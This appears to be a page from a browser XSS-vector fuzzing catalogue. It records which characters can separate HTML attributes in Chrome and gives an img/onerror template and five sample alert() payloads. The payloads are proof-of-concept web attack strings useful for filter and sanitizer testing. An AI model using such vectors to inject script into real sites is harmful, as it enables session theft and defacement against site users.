Characters allowed between multiple HTML attributes

Chrome logo 5

This vector shows what characters can be used to separate HTML attributes, also allowing multiple attributes

Created by: JorianWoltjer

Created on: Thursday, September 12, 2024 at 5:10:00 PM

Updated on: Tuesday, December 10, 2024 at 5:12:17 PM

Vector type: XSS

Vector charset: UTF-8

Template used:
<img$[chr]src=x$[chr]onerror=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img	src=x	onerror=alert(9)>
<img
src=x
onerror=alert(10)>
<imgsrc=xonerror=alert(12)>
<img
src=x
onerror=alert(13)>
<img src=x onerror=alert(32)>

Fuzz results

Chrome logo
Chrome 128.0.0.0 desktop Windows NT 10.0

Updated

Thu Sep 12 2024
Found 5 results
Loading...